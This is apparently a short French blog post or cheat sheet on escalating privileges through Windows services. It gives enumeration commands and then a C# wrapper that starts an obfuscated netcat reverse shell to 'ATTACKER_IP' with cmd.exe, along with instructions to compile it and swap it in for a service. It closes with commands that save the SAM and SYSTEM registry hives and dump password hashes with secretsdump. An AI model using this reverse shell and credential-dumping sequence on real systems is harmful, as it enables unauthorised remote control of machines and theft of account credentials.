Service sous windows

Trouve les services qui ne sont pas ceux de Windows
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"

Quel est l’usager exécutant un service
sc qc SERVICE_NAME

Vérification si on peut écrire dans un répertoire
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"

Remplacement d’un service par un autre (exploit)

Wrapper.cs

using System;
using System.Diagnostics;

namespace Wrapper{
    class Program{
        static void Main(){
           Process proc = new Process();
           ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-obfuscated.exe", "ATTACKER_IP ATTACKER_PORT -e cmd.exe");
           procInfo.CreateNoWindow = true;
           proc.StartInfo = procInfo;
           proc.Start();
        }
    }
}

On compile ce code
mcs Wrapper.cs

sc stop SERVICE_NAME
sc start SERVICE_NAME #normal d'avoir des erreurs

Exfiltration

reg.exe save HKLM\SAM sam.bak
reg.exe save HKLM\SYSTEM system.bak
python3 /opt/impacket/examples/secretsdump.py -sam PATH/TO/SAM_FILE -system PATH/TO/SYSTEM_FILE LOCAL #sur l'ordi de l'attaquant

Leave a Reply